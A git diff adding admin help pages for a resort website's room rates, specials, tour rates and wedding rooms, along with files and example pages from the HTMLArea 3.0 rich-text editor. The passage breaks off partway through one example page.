+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Spring-Fall Daily Rates:</b>
+</p>
+<p>
+This is the Daily Rate Price for the Rooms during the Spring through Fall Period.
+</p>
+<p>
+<b>Spring-Fall Weekend Rates:</b>
+</p>
+<p>
+This is the Weekend Rate Price for the Rooms during the Spring and Fall Periods.
+</p>
+<p>
+<b>Summer Daily Rates:</b>
+</p>
+<p>
+This is the Daily Rate Price for the Rooms during the Summer Period.
+</p>
+<p>
+<b>Summer Weekend Rates:</b>
+</p>
+<p>
+This is the Weekend Rate Price for the Rooms during the Summer Period.
+</p>
+
+<p>
+<b>Insert</b>
+</p>
+<p>When you have entered the correct data for the Room Rate,
+you can click "Insert." This will add the information about the new Item
+in the database.
+</p>
+<?
+       break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
diff --git a/admin/help/specials.phtml b/admin/help/specials.phtml
new file mode 100755 (executable)
index 0000000..315731f
--- /dev/null
@@ -0,0 +1,113 @@
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Specials Help</H4>
+<hr>
+<?
+switch ($key) {
+       case "list":
+       ?>
+<h4 align="center">List Specials</h4>
+
+<P>
+This page lists the existing Specials from the database.
+</p>
+<p>
+<b>Add A New Special</b>
+</p>
+<p>This link will allow you to add new Special</p>
+<p>
+<b>List Specials</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit/Delete]</b>
+</p>
+<p>This link will let you edit or delete an existing Special</p>
+<?
+       break;
+
+       case "edit":
+       ?>
+<h4 align="center">Edit a Special</h4>
+<P>
+This page is for editing and modifying an existing Special in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Specials" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Special" i.e. "Spring Fling Package"</p>
+<p>
+<b>Intro:</b>
+</p>
+<p>This is the text which will introduce the Special on the web page.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will fully describe the Special. This text will be
+displayed below the Special Title and Intro.
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Special,
+you can click "Update." This will update the information about the Item
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Item, press the "Delete" button.
+</p>
+<?
+       break;
+       case "add":
+       ?>
+<h4 align="center">Add A Special</h4>
+<P>
+This page is for adding new Specials in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Specials" page.
+</p>
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Special" i.e. "Spring Fling Package"</p>
+<p>
+<b>Intro:</b>
+</p>
+<p>This is the text which will introduce the Special on the web page.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will fully describe the Special. This text will be
+displayed below the Special Title and Intro.
+</p>
+
+<p>
+<b>Insert</b>
+</p>
+<p>When you have entered the correct data for the Special,
+you can click "Insert." This will add the information about the new Item
+in the database.
+</p>
+<?
+       break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
diff --git a/admin/help/template.phtml b/admin/help/template.phtml
new file mode 100755 (executable)
index 0000000..b31895a
--- /dev/null
@@ -0,0 +1,50 @@
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Change Text Help</H4>
+<hr>
+<h4 align="center">Home Page Section</h4>
+
+<p>
+<b>Current Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Current Image: header, and a small version of the image.
+</p>
+<b>Delete This Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Delete This Image: header, and "Yes" and "No" radio buttons. If you choose "Yes" and then "Update", you will have permanently removed the "Current Image". The default value is "No."
+</p>
+<p>
+<b>New Image:</b>
+</p>
+<p>
+To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will be displayed with the Photo on the Home Page.
+</p>
+
+
+<hr>
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Updatable Text,
+you can click "Update." This will update the information about each Item
+in the database.
+</p>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
diff --git a/admin/help/tour_rates.phtml b/admin/help/tour_rates.phtml
new file mode 100755 (executable)
index 0000000..cac7092
--- /dev/null
@@ -0,0 +1,108 @@
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Tour Rates Help</H4>
+<hr>
+<?
+switch ($key) {
+       case "list":
+       ?>
+<h4 align="center">List Tour Rates</h4>
+
+<P>
+This page lists the existing Tour Rates from the database.
+</p>
+<p>
+<b>Add A New Tour Rate</b>
+</p>
+<p>This link will allow you to add new Tour Rates</p>
+<p>
+<b>List Tour Rates</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit/Delete]</b>
+</p>
+<p>This link will let you edit or delete an existing Tour Rate</p>
+<?
+       break;
+
+       case "edit":
+       ?>
+<h4 align="center">Edit a Tour Rate</h4>
+<P>
+This page is for editing and modifying an existing Tour Rate in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Tour Rates" page.
+</p>
+
+<p>
+<b>Season Title:</b>
+</p>
+<p>This is the title that will appear for the "Tour Rate" i.e. "Spring Rates"</p>
+<p>
+<b>Season Span:</b>
+</p>
+<p>This is the text for the available dates for this Rate i.e. "June 8 - August 25"
+</p>
+<p>
+<b>Room Rate:</b>
+</p>
+<p>This is the Price for this Rate i.e. "$132.00"
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Tour Rate,
+you can click "Update." This will update the information about the Item
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Item, press the "Delete" button.
+</p>
+<?
+       break;
+       case "add":
+       ?>
+<h4 align="center">Add A Tour Rate</h4>
+<P>
+This page is for adding new Tour Rates in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Tour Rates" page.
+</p>
+<p>
+<b>Season Title:</b>
+</p>
+<p>This is the title that will appear for the "Tour Rate" i.e. "Spring Rates"</p>
+<p>
+<b>Season Span:</b>
+</p>
+<p>This is the text for the available dates for this Rate i.e. "June 8 - August 25"
+</p>
+<p>
+<b>Room Rate:</b>
+</p>
+<p>This is the Price for this Rate i.e. "$132.00"
+</p>
+<p>
+<b>Insert</b>
+</p>
+<p>When you have entered the correct data for the Wedding Room,
+you can click "Insert." This will add the information about the new Item
+in the database.
+</p>
+<?
+       break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
diff --git a/admin/help/wedding_rooms.phtml b/admin/help/wedding_rooms.phtml
new file mode 100755 (executable)
index 0000000..8753cfd
--- /dev/null
@@ -0,0 +1,99 @@
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Wedding Rooms Help</H4>
+<hr>
+<?
+switch ($key) {
+       case "list":
+       ?>
+<h4 align="center">List Wedding Rooms</h4>
+
+<P>
+This page lists the existing Wedding Rooms from the database.
+</p>
+<p>
+<b>Add A New Wedding Room</b>
+</p>
+<p>This link will allow you to add new Wedding Room</p>
+<p>
+<b>List Wedding Rooms</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit/Delete]</b>
+</p>
+<p>This link will let you edit or delete an existing Wedding Room</p>
+<?
+       break;
+
+       case "edit":
+       ?>
+<h4 align="center">Edit a Wedding Room</h4>
+<P>
+This page is for editing and modifying an existing Wedding Room in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Wedding Rooms" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Wedding Room" i.e. "Mackinac Room"</p>
+<p>
+<b>Capacity:</b>
+</p>
+<p>This is the text for capacity of the room.
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Wedding Room,
+you can click "Update." This will update the information about the Item
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Item, press the "Delete" button.
+</p>
+<?
+       break;
+       case "add":
+       ?>
+<h4 align="center">Add A Wedding Room</h4>
+<P>
+This page is for adding new Wedding Rooms in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Wedding Rooms" page.
+</p>
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Wedding Room" i.e. "Mackinac Room"</p>
+<p>
+<b>Capacity:</b>
+</p>
+<p>This is the text for capacity of the room.
+</p>
+
+<p>
+<b>Insert</b>
+</p>
+<p>When you have entered the correct data for the Wedding Room,
+you can click "Insert." This will add the information about the new Item
+in the database.
+</p>
+<?
+       break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
diff --git a/admin/html_help.phtml b/admin/html_help.phtml
new file mode 100755 (executable)
index 0000000..2a9b50f
--- /dev/null
@@ -0,0 +1,17 @@
+<html>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="help/helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<table>
+<TD align=center colspan=2><FONT SIZE=2 FACE="arial,helvetica"><B>HTML Tags</B></FONT><BR>
+   <FONT SIZE=2 FACE="arial,helvetica">&lt;B&gt;<B>BOLD</B>&lt;/B&gt;<BR>&lt;I&gt;<I>ITALIC</I>&lt;/I&gt;<BR>&lt;CENTER&gt;CENTER&lt;/CENTER&gt;<BR>
+   &lt;FONT COLOR="RED"&gt;<FONT COLOR="RED">RED</FONT>&lt;/FONT&gt;<BR>&lt;BIG&gt;<BIG>LARGER FONT SIZE</BIG>&lt;/BIG&gt;
+       <br>&lt;LI&gt;Bullet
+       <br>&lt;A HREF="HTTP://www.PLACEYOURWEBURLHERE" TARGET="_BLANK"&gt;<A HREF="HTTP://www.gaslightmedia.com" TARGET="_BLANK">Hyperlink</A>&lt;/A&gt;                  
+       <br>&lt;A HREF="mailto:PLACEEMAILADDRESSHERE" TARGET="_BLANK"&gt;<A
+       HREF="mailto:info@gaslightmedia.com" TARGET="_BLANK">E-mail Address</A>&lt;/A&gt;                  
+       <BR>&amp;nbsp;   A non-breaking space
+  </td>
+</tr>
+</table>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="help/closewindow.gif" border=0></A></CENTER>
+</body>
+</html>
diff --git a/admin/htmlarea/dialog.js b/admin/htmlarea/dialog.js
new file mode 100755 (executable)
index 0000000..8c66353
--- /dev/null
@@ -0,0 +1,73 @@
+// htmlArea v3.0 - Copyright (c) 2003-2004 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// Portions (c) dynarch.com, 2003-2004
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon.
+//   http://dynarch.com/mishoo
+//
+// $Id: dialog.js,v 1.1.1.1 2006/03/27 14:44:12 cscott Exp $
+
+// Though "Dialog" looks like an object, it isn't really an object.  Instead
+// it's just namespace for protecting global symbols.
+
+function Dialog(url, action, init) {
+       if (typeof init == "undefined") {
+               init = window;  // pass this window object by default
+       }
+       Dialog._geckoOpenModal(url, action, init);
+};
+
+Dialog._parentEvent = function(ev) {
+       setTimeout( function() { if (Dialog._modal && !Dialog._modal.closed) { Dialog._modal.focus() } }, 50);
+       if (Dialog._modal && !Dialog._modal.closed) {
+               HTMLArea._stopEvent(ev);
+       }
+};
+
+
+// should be a function, the return handler of the currently opened dialog.
+Dialog._return = null;
+
+// constant, the currently opened dialog
+Dialog._modal = null;
+
+// the dialog will read it's args from this variable
+Dialog._arguments = null;
+
+Dialog._geckoOpenModal = function(url, action, init) {
+       var dlg = window.open(url, "hadialog",
+                             "toolbar=no,menubar=no,personalbar=no,width=10,height=10," +
+                             "scrollbars=no,resizable=yes,modal=yes,dependable=yes");
+       Dialog._modal = dlg;
+       Dialog._arguments = init;
+
+       // capture some window's events
+       function capwin(w) {
+               HTMLArea._addEvent(w, "click", Dialog._parentEvent);
+               HTMLArea._addEvent(w, "mousedown", Dialog._parentEvent);
+               HTMLArea._addEvent(w, "focus", Dialog._parentEvent);
+       };
+       // release the captured events
+       function relwin(w) {
+               HTMLArea._removeEvent(w, "click", Dialog._parentEvent);
+               HTMLArea._removeEvent(w, "mousedown", Dialog._parentEvent);
+               HTMLArea._removeEvent(w, "focus", Dialog._parentEvent);
+       };
+       capwin(window);
+       // capture other frames
+       for (var i = 0; i < window.frames.length; capwin(window.frames[i++]));
+       // make up a function to be called when the Dialog ends.
+       Dialog._return = function (val) {
+               if (val && action) {
+                       action(val);
+               }
+               relwin(window);
+               // capture other frames
+               for (var i = 0; i < window.frames.length; relwin(window.frames[i++]));
+               Dialog._modal = null;
+       };
+};
diff --git a/admin/htmlarea/examples/2-areas.cgi b/admin/htmlarea/examples/2-areas.cgi
new file mode 100755 (executable)
index 0000000..598df26
--- /dev/null
@@ -0,0 +1,16 @@
+#! /usr/bin/perl -w
+
+use strict;
+use CGI;
+
+my $cgi = new CGI;
+my $text1 = $cgi->param('text1');
+my $text2 = $cgi->param('text2');
+
+print "Content-type: text/html\n\n";
+
+print "<p>You submitted:</p>";
+print "<table border='1'>";
+print "<thead><tr bgcolor='#cccccc'><td width='50%'>text1</td><td width='50%'>text2</td></tr></thead>";
+print "<tbody><tr><td>$text1</td><td>$text2</td></tr></tbody>";
+print "</table>";
diff --git a/admin/htmlarea/examples/2-areas.html b/admin/htmlarea/examples/2-areas.html
new file mode 100755 (executable)
index 0000000..1386302
--- /dev/null
@@ -0,0 +1,158 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
+<html>
+  <head>
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+    <title>Example with 2 HTMLAreas in the same form</title>
+    <script type="text/javascript">
+      // the _editor_url is REQUIRED!  don't forget to set it.
+      _editor_url = "../";
+      // implicit language will be "en", but let's set it for brevity
+      _editor_lang = "en";
+    </script>
+    <script type="text/javascript" src="../htmlarea.js"></script>
+    <script type="text/javascript">
+      // load the plugins that we will use
+      // loading is necessary ONLY ONCE, regardless on how many editors you create
+      // basically calling the following functions will load the plugin files as if
+      // we would have wrote script src="..." but with easier and cleaner code
+      HTMLArea.loadPlugin("TableOperations");
+      HTMLArea.loadPlugin("SpellChecker");
+      HTMLArea.loadPlugin("CSS");
+
+      // this function will get called at body.onload
+      function initDocument() {
+        // cache these values as we need to pass it for both editors
+        var css_plugin_args = {
+          combos : [
+            { label: "Syntax",
+                         // menu text       // CSS class
+              options: { "None"           : "",
+                         "Code" : "code",
+                         "String" : "string",
+                         "Comment" : "comment",
+                         "Variable name" : "variable-name",
+                         "Type" : "type",
+                         "Reference" : "reference",
+                         "Preprocessor" : "preprocessor",
+                         "Keyword" : "keyword",
+                         "Function name" : "function-name",
+                         "Html tag" : "html-tag",
+                         "Html italic" : "html-helper-italic",
+                         "Warning" : "warning",
+                         "Html bold" : "html-helper-bold"
+                       },
+              context: "pre"
+            },
+            { label: "Info",
+              options: { "None"           : "",
+                         "Quote"          : "quote",
+                         "Highlight"      : "highlight",
+                         "Deprecated"     : "deprecated"
+                       }
+            }
+          ]
+        };
+
+        //---------------------------------------------------------------------
+        // GENERAL PATTERN
+        //
+       //  1. Instantitate an editor object.
+       //  2. Register plugins (note, it's required to have them loaded).
+       //  3. Configure any other items in editor.config.
+       //  4. generate() the editor
+       //
+       // The above are steps that you use to create one editor.  Nothing new
+       // so far.  In order to create more than one editor, you just have to
+       // repeat those steps for each of one.  Of course, you can register any
+       // plugins you want (no need to register the same plugins for all
+       // editors, and to demonstrate that we'll skip the TableOperations
+       // plugin for the second editor).  Just be careful to pass different
+       // ID-s in the constructor (you don't want to _even try_ to create more
+       // editors for the same TEXTAREA element ;-)).
+       //
+       // So much for the noise, see the action below.
+       //---------------------------------------------------------------------
+
+
+        //---------------------------------------------------------------------
+        // CREATE FIRST EDITOR
+        //
+        var editor1 = new HTMLArea("text-area-1");
+
+        // plugins must be registered _per editor_.  Therefore, we register
+        // plugins for the first editor here, and we will also do this for the
+        // second editor.
+        editor1.registerPlugin(TableOperations);
+        editor1.registerPlugin(SpellChecker);
+        editor1.registerPlugin(CSS, css_plugin_args);
+
+        // custom config must be done per editor.  Here we're importing the
+        // stylesheet used by the CSS plugin.
+        editor1.config.pageStyle = "@import url(custom.css);";
+
+        // generate first editor
+        editor1.generate();
+        //---------------------------------------------------------------------
+
+
+        //---------------------------------------------------------------------
+        // CREATE SECOND EDITOR
+        //
+        var editor2 = new HTMLArea("text-area-2");
+
+        // we are using the same plugins
+        editor2.registerPlugin(TableOperations);
+        editor2.registerPlugin(SpellChecker);
+        editor2.registerPlugin(CSS, css_plugin_args);
+
+        // import the CSS plugin styles
+        editor2.config.pageStyle = "@import url(custom.css);";
+
+        // generate the second editor
+        // IMPORTANT: if we don't give it a timeout, the first editor will
+        // not function in Mozilla.  Soon I'll think about starting to
+        // implement some kind of event that will fire when the editor
+        // finished creating, then we'll be able to chain the generate()
+        // calls in an elegant way.  But right now there's no other solution
+        // than the following.
+        setTimeout(function() {
+          editor2.generate();
+        }, 500);
+        //---------------------------------------------------------------------
+      };
+    </script>
+  </head>
+
+  <body onload="initDocument()">
+    <h1>Example with 2 HTMLAreas in the same form</h1>
+
+    <form action="2-areas.cgi" method="post" target="_blank">
+
+      <input type="submit" value=" Submit " />
+      <br />
+
+      <textarea id="text-area-1" name="text1" style="width: 100%; height: 12em">
+        &lt;h3&gt;HTMLArea #1&lt;/h3&gt;
+        &lt;p&gt;This will submit a field named &lt;em&gt;text1&lt;/em&gt;.&lt;/p&gt;
+      </textarea>
+
+      <br />
+
+      <textarea id="text-area-2" name="text2" style="width: 100%; height: 12em">
+        &lt;h3&gt;Second HTMLArea&lt;/h3&gt; &lt;p&gt;&lt;em&gt;text2&lt;/em&gt; submission.  Both are
+        located in the same FORM element and the script action is
+        2-areas.cgi (see it in the examples directory)&lt;/p&gt;
+      </textarea>
+
+      <br />
+      <input type="submit" value=" Submit " />
+
+    </form>
+
+    <hr>
+    <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Fri Oct 31 09:37:10 EET 2003 -->
+<!-- hhmts start --> Last modified: Wed Jan 28 11:10:40 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+  </body>
+</html>
diff --git a/admin/htmlarea/examples/context-menu.html b/admin/htmlarea/examples/context-menu.html
new file mode 100755 (executable)
index 0000000..388195b
--- /dev/null
@@ -0,0 +1,95 @@
+<html>
+  <head>
+    <title>Test of ContextMenu plugin</title>
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+    <script type="text/javascript">
+      _editor_url = "../";
+      _editor_lang = "en";
+    </script>
+
+    <!-- load the main HTMLArea file -->
+    <script type="text/javascript" src="../htmlarea.js"></script>
+
+    <script type="text/javascript">
+      HTMLArea.loadPlugin("ContextMenu");
+      HTMLArea.loadPlugin("TableOperations");
+
+      function initDocument() {
+        var editor = new HTMLArea("editor");
+        editor.registerPlugin(ContextMenu);
+        editor.registerPlugin(TableOperations);
+        editor.generate();
+      }
+    </script>
+
+  </head>
+
+  <body onload="initDocument()">
+    <h1>Test of ContextMenu plugin</h1>
+
+
+<textarea id="editor" style="height: 30em; width: 100%;">
+&lt;table border="1" style="border: 1px dotted rgb(0, 102, 255); width:
+100%; background-color: rgb(255, 204, 51); background-image: none; float:
+none; text-align: left; vertical-align: top; border-collapse: collapse;"
+summary="" cellspacing="" cellpadding="" frame="box"
+rules="all"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="border: 1px solid
+rgb(255, 0, 0); background-color: rgb(0, 51, 51); background-image: none;
+text-align: left; vertical-align: top;"&gt;&lt;a
+href="http://dynarch.com/mishoo/articles.epl?art_id=430"&gt;&lt;img
+src="http://127.0.0.1/~mishoo/htmlarea/examples/pieng.png" alt="" align=""
+border="0" hspace="0" vspace="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td
+style="border: 1px solid rgb(255, 0, 0); background-color: rgb(255, 255, 0);
+background-image: none; text-align: left; vertical-align: top;"&gt;The
+article linked on the left image presents a script that allows Internet
+Explorer to use PNG images.  We hope to be able to implement IE PNG support
+in HTMLArea soon.&lt;br /&gt; &lt;br /&gt; Go on, right-click everywhere and
+test our new context menus.  And be thankful to &lt;a
+href="http://www.americanbible.org/"&gt;American Bible Society&lt;/a&gt; who
+sponsored the development, &lt;a
+href="http://dynarch.com/mishoo/"&gt;mishoo&lt;/a&gt; who made it happen and
+God, Who keeps mishoo alife. ;-)&lt;br /&gt; &lt;br /&gt;&lt;span
+style="font-style: italic;"&gt;P.S.&lt;/span&gt; No animals were harmed
+while producing this movie.&lt;br /&gt;
+&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="border-style: none;
+background-color: rgb(255, 255, 51); background-image: none; text-align:
+left; vertical-align: top;"&gt;Welcome to HTMLArea, the best online
+editor.&lt;br /&gt;&lt;/td&gt;&lt;td&gt;HTMLArea is a project initiated by
+&lt;a href="http://interactivetools.com/"&gt;InteractiveTools.com&lt;/a&gt;.
+Other companies contributed largely by sponsoring the development of
+additional extensions.  Many thanks to:&lt;br /&gt; &lt;br
+style="font-family: courier new,courier,monospace;" /&gt; &lt;div
+style="margin-left: 40px;"&gt;&lt;a href="http://www.zapatec.com/"
+style="font-family: courier
+new,courier,monospace;"&gt;http://www.zapatec.com&lt;/a&gt;&lt;br
+style="font-family: courier new,courier,monospace;" /&gt; &lt;a
+href="http://www.americanbible.org/" style="font-family: courier
+new,courier,monospace;"&gt;http://www.americanbible.org&lt;/a&gt;&lt;br
+style="font-family: courier new,courier,monospace;" /&gt; &lt;a
+href="http://www.neomedia.ro/" style="font-family: courier
+new,courier,monospace;"&gt;http://www.neomedia.ro&lt;/a&gt;&lt;br
+style="font-family: courier new,courier,monospace;" /&gt; &lt;a
+href="http://www.os3.it/" style="font-family: courier
+new,courier,monospace;"&gt;http://www.os3.it&lt;/a&gt;&lt;br
+style="font-family: courier new,courier,monospace;" /&gt; &lt;a
+href="http://www.miro.com.au/" style="font-family: courier
+new,courier,monospace;"&gt;http://www.miro.com.au&lt;/a&gt;&lt;br
+style="font-family: courier new,courier,monospace;" /&gt; &lt;a
+href="http://www.thycotic.com/" style="font-family: courier
+new,courier,monospace;"&gt;http://www.thycotic.com&lt;/a&gt;&lt;br /&gt;
+&lt;/div&gt; &lt;br /&gt; and to all the posters at <a
+href="http://www.interactivetools.com/iforum/Open_Source_C3/htmlArea_v3.0_-_Alpha_Release_F14/
+">InteractiveTools</a> HTMLArea forums, whose feedback is continually
+useful in polishing HTMLArea.&lt;br /&gt; &lt;br /&gt;&lt;div
+style="text-align: right;"&gt;-- developers and maintainers of version 3,
+&lt;a href="http://dynarch.com/"&gt;dynarch.com&lt;/a&gt;.&lt;br
+/&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
+    </textarea>
+
+    <hr />
+    <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Wed Oct  1 19:55:37 EEST 2003 -->
+<!-- hhmts start --> Last modified: Wed Jan 28 11:10:29 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+  </body>
+</html>
diff --git a/admin/htmlarea/examples/core.html b/admin/htmlarea/examples/core.html
new file mode 100755 (executable)
index 0000000..536be0e
--- /dev/null
@@ -0,0 +1,184 @@
+<html>
+<head>
+<title>Example of HTMLArea 3.0</title>
+
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+
+<!-- Configure the path to the editor.  We make it relative now, so that the
+    example ZIP file will work anywhere, but please NOTE THAT it's better to
+    have it an absolute path, such as '/htmlarea/'. -->
+<script type="text/javascript">
+  _editor_url = "../";
+  _editor_lang = "en";
+</script>
+<script type="text/javascript" src="../htmlarea.js"></script>
+
+<style type="text/css">
+html, body {
+  font-family: Verdana,sans-serif;
+  background-color: #fea;
+  color: #000;
+}
+a:link, a:visited { color: #00f; }
+a:hover { color: #048; }
+a:active { color: #f00; }
+
+textarea { background-color: #fff; border: 1px solid 00f; }
+</style>
+
+<script type="text/javascript">
+var editor = null;
+function initEditor() {
+  editor = new HTMLArea("ta");
+
+  // comment the following two lines to see how customization works
+  editor.generate();
+  return false;
+
+  var cfg = editor.config; // this is the default configuration
+  cfg.registerButton({
+    id        : "my-hilite",
+    tooltip   : "Highlight text",
+    image     : "ed_custom.gif",
+    textMode  : false,
+    action    : function(editor) {
+                  editor.surroundHTML("<span class=\"hilite\">", "</span>");
+                },
+    context   : 'table'
+  });
+
+  cfg.toolbar.push(["linebreak", "my-hilite"]); // add the new button to the toolbar
+
+  // BEGIN: code that adds a custom button
+  // uncomment it to test
+  var cfg = editor.config; // this is the default configuration
+  /*
+  cfg.registerButton({
+    id        : "my-hilite",
+    tooltip   : "Highlight text",
+    image     : "ed_custom.gif",
+    textMode  : false,
+    action    : function(editor) {
+                  editor.surroundHTML("<span class=\"hilite\">", "</span>");
+                }
+  });
+  */
+
+function clickHandler(editor, buttonId) {
+  switch (buttonId) {
+    case "my-toc":
+      editor.insertHTML("<h1>Table Of Contents</h1>");
+      break;
+    case "my-date":
+      editor.insertHTML((new Date()).toString());
+      break;
+    case "my-bold":
+      editor.execCommand("bold");
+      editor.execCommand("italic");
+      break;
+    case "my-hilite":
+      editor.surroundHTML("<span class=\"hilite\">", "</span>");
+      break;
+  }
+};
+cfg.registerButton("my-toc",  "Insert TOC", "ed_custom.gif", false, clickHandler);
+cfg.registerButton("my-date", "Insert date/time", "ed_custom.gif", false, clickHandler);
+cfg.registerButton("my-bold", "Toggle bold/italic", "ed_custom.gif", false, clickHandler);
+cfg.registerButton("my-hilite", "Hilite selection", "ed_custom.gif", false, clickHandler);
+
+cfg.registerButton("my-sample", "Class: sample", "ed_custom.gif", false,
+  function(editor) {
+    if (HTMLArea.is_ie) {
+      editor.insertHTML("<span class=\"sample\">&nbsp;&nbsp;</span>");
+      var r = editor._doc.selection.createRange();
+      r.move("character", -2);
+      r.moveEnd("character", 2);
+      r.select();
+    } else { // Gecko/W3C compliant
+      var n = editor._doc.createElement("span");
+      n.className = "sample";
+      editor.insertNodeAtSelection(n);
+      var sel = editor._iframe.contentWindow.getSelection();
+      sel.removeAllRanges();
+      var r = editor._doc.createRange();
+      r.setStart(n, 0);
+      r.setEnd(n, 0);
+      sel.addRange(r);
+    }
+  }
+);
+
+
+  /*
+  cfg.registerButton("my-hilite", "Highlight text", "ed_custom.gif", false,
+    function(editor) {
+      editor.surroundHTML('<span class="hilite">', '</span>');
+    }
+  );
+  */
+  cfg.pageStyle = "body { background-color: #efd; } .hilite { background-color: yellow; } "+
+                  ".sample { color: green; font-family: monospace; }";
+  cfg.toolbar.push(["linebreak", "my-toc", "my-date", "my-bold", "my-hilite", "my-sample"]); // add the new button to the toolbar
+  // END: code that adds a custom button
+
+  editor.generate();
+}
+function insertHTML() {
+  var html = prompt("Enter some HTML code here");
+  if (html) {
+    editor.insertHTML(html);
+  }
+}
+function highlight() {
+  editor.surroundHTML('<span style="background-color: yellow">', '</span>');
+}
+</script>
+
+</head>
+
+<!-- use <body onload="HTMLArea.replaceAll()" if you don't care about
+     customizing the editor.  It's the easiest way! :) -->
+<body onload="initEditor()">
+
+<h1>HTMLArea 3.0</h1>
